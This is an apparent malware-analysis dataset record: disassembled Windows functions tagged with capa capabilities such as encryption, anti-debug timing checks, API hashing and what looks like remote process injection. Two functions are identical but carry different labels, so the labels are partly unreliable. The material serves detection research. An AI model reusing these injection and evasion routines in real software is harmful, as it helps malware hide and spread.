joyce8/EMBER2024-capa huggingface dataset:
Function at 0x59a290
Capabilities:
Delete file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x62b7f8
push eax
mov dword fs:[0], esp
sub esp, 0x10
xor al, al
push ebx
push ebp
push esi
mov esi, ecx
mov cl, byte [esi + 0xc]
test cl, cl
je 0x59a3b4
mov ecx, dword [esi + 4]
xor ebp, ebp
sub ecx, ebp
je 0x59a3c6
dec ecx
je 0x59a30c
dec ecx
jne 0x59a3b4
mov eax, dword [esi + 8]
cmp eax, ebp
je 0x59a3db
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp eax, 1
jne 0x59a3db
mov dword [esi + 8], ebp
mov eax, dword [esi + 0x18]
cmp eax, ebp
je 0x59a305
mov eax, dword [0xcd47ec]
lea ecx, [esi + 0x10]
push eax
push ebp
call fcn.0059a810
mov bl, 1
jmp 0x59a3a7
mov edx, dword [0xcd47ec]
mov cl, byte [esi + 0x10]
push edi
lea edi, [esi + 0x10]
push edx
mov byte [esp + 0x14], cl
push ebp
push edi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
call fcn.0059a610
mov eax, dword [esi + 8]
mov dword [esp + 0x28], ebp
cmp eax, ebp
je 0x59a395
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp eax, 1
jne 0x59a395
mov dword [esi + 8], ebp
mov eax, dword [esi + 0x18]
cmp eax, ebp
je 0x59a364
mov eax, dword [0xcd47ec]
mov ecx, edi
push eax
push ebp
call fcn.0059a810
mov eax, dword [esp + 0x14]
mov bl, 1
cmp eax, ebp
jne 0x59a373
mov eax, 0xcd47e8
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x14]
pop edi
cmp ecx, ebp
je 0x59a3a3
mov al, byte [ecx - 1]
test al, al
je 0x59a399
cmp al, 0xff
je 0x59a399
dec al
mov byte [ecx - 1], al
jmp 0x59a3a3
xor bl, bl
jmp 0x59a37a
dec ecx
push ecx
call fcn.00617a81
add esp, 4
test bl, bl
je 0x59a3b2
mov dword [esi + 4], 0xffffffff
mov byte [esi + 0xc], 0
mov al, bl
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
mov eax, dword [esi]
cmp eax, ebp
je 0x59a3db
push eax
call fcn.0059b370
add esp, 4
mov dword [esi], ebp
mov bl, 1
jmp 0x59a3a7
mov ecx, dword [esp + 0x1c]
pop esi
pop ebp
xor al, al
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x59acc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebp
push esi
push edi
xor edi, edi
push 0xd746b4
push str.E2EE_IDR_DLL
push edi
call ebx
mov esi, eax
test esi, esi
jne 0x59ad0f
call fcn.00621e59
mov edi, dword [eax + 0xc]
test edi, edi
jne 0x59acf4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push 0xd746b4
push str.E2EE_IDR_DLL
push edi
call ebx
mov esi, eax
test esi, esi
jne 0x59ad0f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource_1]
mov ebx, eax
test ebx, ebx
jne 0x59ad25
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource_1]
test eax, eax
jne 0x59ad39
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource_1]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x10], ebp
jne 0x59ad52
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
mov edi, dword [esp + 0x18]
push edi
push ebx
push ebp
call fcn.0059b470
add esp, 0xc
test al, al
jne 0x59adf1
mov eax, dword [edi + 8]
cmp eax, ebx
jb 0x59adf9
mov esi, dword [0xcd47f4]
jae 0x59ad81
call fcn.00611e74
mov ecx, edi
call fcn.0059b000
mov eax, dword [edi + 8]
mov ecx, eax
sub ecx, ebx
cmp ecx, esi
jae 0x59ad95
mov esi, ecx
test esi, esi
jbe 0x59add3
mov ecx, dword [edi + 4]
sub eax, esi
sub eax, ebx
push eax
lea eax, [ecx + esi]
add eax, ebx
add ecx, ebx
push eax
push ecx
call fcn.00601ed0
mov ebp, dword [edi + 8]
add esp, 0xc
sub ebp, esi
mov ecx, edi
push 0
push ebp
call fcn.0059aee0
test al, al
je 0x59adcf
mov ecx, dword [edi + 4]
mov dword [edi + 8], ebp
mov byte [ecx + ebp], 0
mov ebp, dword [esp + 0x10]
mov edi, dword [edi + 4]
test edi, edi
jne 0x59addf
mov edi, 0xcd47f0
mov ecx, ebx
mov esi, ebp
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret
mov edx, ebx
push 0
sub edx, eax
mov ecx, edi
push edx
call fcn.0059ae10
jmp 0x59add3
Function at 0x5aabb0
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + 0xd79184]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0xd79114]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x5aabc3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x5aac04
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0xd791bc]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x5aac36
mov bl, byte [esp + ecx + 0x4c]
jmp 0x5aac3a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x5aac2b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x5aac58
mov bl, byte [esp + ecx + 0x4c]
jmp 0x5aac5c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x5aac4d
xor ecx, ecx
mov eax, 0xd79124
xor ebx, ebx
mov bl, byte [ecx + 0xd791cc]
cmp byte [esp + ebx + 0x14], 0
je 0x5aac87
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0xd791e4]
cmp byte [esp + ebx + 0x14], 0
je 0x5aac9e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, 0xd79184
jl 0x5aac6e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x5aabf7
lea edx, [esp + 0x84]
push edx
call fcn.005aace0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x5ad190
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x5ad1d9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x5ad650
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x62c680
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.005ad200
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.005ad280
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.005ad280
lea ecx, [esi + 0xc]
call fcn.00617ca2
lea ecx, [esi + 0x10]
call fcn.00617ca2
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.005ae810
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.005ae810
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.005ae810
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00617d17
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00617d17
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x5aea00
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x5aea66
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x5aea66
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x5aea47
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x5aee30
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
mov ecx, 0x41
xor eax, eax
push edi
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 0x110]
call fcn.005aec30
pop edi
add esp, 0x104
ret 4

Function at 0x5b22c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xde2d70]
xor edx, edx
cmp eax, edx
jne 0x5b22e6
xor eax, eax
mov byte [eax + 0xde2c70], al
inc eax
cmp eax, 0x100
jl 0x5b22ce
mov dword [0xde2d70], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xde2c70
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x5b2377
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x5b234a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x5b2318
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x5b2380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x5b23d3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x5b23ba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5b8d80
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x62cade
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.005b96a0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0xcd95ac
call fcn.00617a58
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x5b8e13
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00617a58
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x5b8e0c
push 0
mov ecx, eax
call fcn.005afef0
mov dword [esi + 0xc], eax
jmp 0x5b8e15
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x5b8e15
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x5c6520
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x5c6553
push esi
call fcn.005cb150
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x5c654c
mov dword [esi + 0x14], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x5c65d9
mov eax, dword [esi + 0x1b8]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x5c65c2
mov eax, dword [esi + 8]
test eax, eax
je 0x5c6577
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b8]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x5c65be
cmp eax, 2
je 0x5c65c2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x5c656a
cmp eax, 3
je 0x5c659d
cmp eax, 1
jne 0x5c656a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x5c656a
mov edx, dword [esi + 0x144]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x5c656a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.005c6610
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x5c65f9
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x15
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.005c6610
add esp, 4
pop esi
ret

Function at 0x604503
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x604523
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0060312a
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x604546
test byte [esp + 8], 2
je 0x604546
call fcn.0060319d
mov dword [eax], 0xd
call fcn.006031a6
mov dword [eax], 5
jmp 0x60451f
xor eax, eax
ret
Function at 0x61a143
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x61a17b
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.006181be
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00618196
jmp 0x61a187
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x61b93e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x61b980
call fcn.00621e59
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x61b980
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource_1]
cmp eax, edi
jne 0x61b977
xor eax, eax
jmp 0x61b988
push eax
call dword [sym.imp.KERNEL32.dll_LockResource_1]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0061b98e
pop edi
pop esi
pop ebx
ret 4

Function at 0x622389
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x6223b7
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x6223d5
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.006222ef
jmp 0x6223d5
mov eax, dword [esi + 0x14]
test eax, eax
je 0x6223d5
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.006222ef
test edi, edi
mov eax, edi
jne 0x6223bf
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x1000be80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
call dword [fcn.1000a03c]
mov esp, ebp
pop ebp
ret

Function at 0x1000c350
Capabilities:
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push 0
push 2
call fcn.1000c584
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call fcn.1000c578
mov dword [ebp - 0x13c], 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.1000c1a0
add esp, 8
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
je 0x1000c404
mov ecx, dword [ebp - 0x130]
mov dword [ebp - 0x134], ecx
mov edx, dword [0x1000a05c]
mov dword [ebp - 0x138], edx
push 0x34102a7f
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x120]
push eax
push 0
push 0x2a
call dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x1000c404
push 0x1c29179f
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x154], eax
push 4
push 0x1000
push 8
push 0
mov ecx, dword [ebp - 0x144]
push ecx
call dword [ebp - 0x154]
mov dword [ebp - 0x13c], eax
push 0x6328d74d
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x148], eax
push 0
push 8
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp - 0x13c]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [ebp - 0x148]
push 0x40
push 0x1000
push 0x800
push 0
mov edx, dword [ebp - 0x144]
push edx
call dword [ebp - 0x154]
mov dword [ebp - 0x150], eax
push 0
push 0x800
push 0x10002530
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [ebp - 0x148]
push 0x2c7f4aee
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x158], eax
push 0
push 0
mov edx, dword [ebp - 0x13c]
push edx
mov eax, dword [ebp - 0x150]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x144]
push ecx
call dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
push 0x70ebfb28
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x14c], eax
mov edx, dword [ebp - 0x144]
push edx
call dword [ebp - 0x14c]
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call fcn.1000c57e
test eax, eax
jne 0x1000c285
mov esp, ebp
pop ebp
ret
Function at 0x1000c3e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
push 0
push 2
call fcn.1000c584
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call fcn.1000c578
mov dword [ebp - 0x13c], 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.1000c1a0
add esp, 8
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
je 0x1000c404
mov ecx, dword [ebp - 0x130]
mov dword [ebp - 0x134], ecx
mov edx, dword [0x1000a05c]
mov dword [ebp - 0x138], edx
push 0x34102a7f
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x120]
push eax
push 0
push 0x2a
call dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x1000c404
push 0x1c29179f
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x154], eax
push 4
push 0x1000
push 8
push 0
mov ecx, dword [ebp - 0x144]
push ecx
call dword [ebp - 0x154]
mov dword [ebp - 0x13c], eax
push 0x6328d74d
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x148], eax
push 0
push 8
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp - 0x13c]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [ebp - 0x148]
push 0x40
push 0x1000
push 0x800
push 0
mov edx, dword [ebp - 0x144]
push edx
call dword [ebp - 0x154]
mov dword [ebp - 0x150], eax
push 0
push 0x800
push 0x10002530
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [ebp - 0x148]
push 0x2c7f4aee
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x158], eax
push 0
push 0
mov edx, dword [ebp - 0x13c]
push edx
mov eax, dword [ebp - 0x150]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x144]
push ecx
call dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
push 0x70ebfb28
call fcn.1000bed0
add esp, 4
mov dword [ebp - 0x14c], eax
mov edx, dword [ebp - 0x144]
push edx
call dword [ebp - 0x14c]
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call fcn.1000c57e
test eax, eax
jne 0x1000c285
mov esp, ebp
pop ebp
ret
Function at 0x1000c480
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x10]
push eax
push 9
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x1000a008]
test eax, eax
je 0x1000c46a
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [0x1000a00c]
jmp 0x1000c571
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x1c]
push eax
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [ebp - 0x10]
push edx
call dword [0x1000a004]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1000c4cc
cmp dword [ebp - 0xc], 0xea
je 0x1000c4cc
cmp dword [ebp - 0xc], 0x7a
je 0x1000c4cc
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x1000a020]
mov eax, dword [ebp - 0x20]
jmp 0x1000c571
mov edx, dword [ebp - 0x24]
lea eax, [edx + edx + 2]
push eax
push 0x40
call dword [0x1000a068]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x38], 0
jne 0x1000c4f4
mov dword [ebp - 0x20], 8
jmp 0x1000c4ba
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x24]
add edx, 1
push edx
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [0x1000a000]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x1000c535
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.1000c430
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x1000c535
jmp 0x1000c53e
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
cmp dword [ebp - 0x3c], 0x103
je 0x1000c54f
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1c]
jb 0x1000c4fb
mov ecx, dword [ebp - 0x30]
push ecx
call dword [0x1000a06c]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x1000a020]
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [0x1000a00c]
mov esp, ebp
pop ebp
ret 8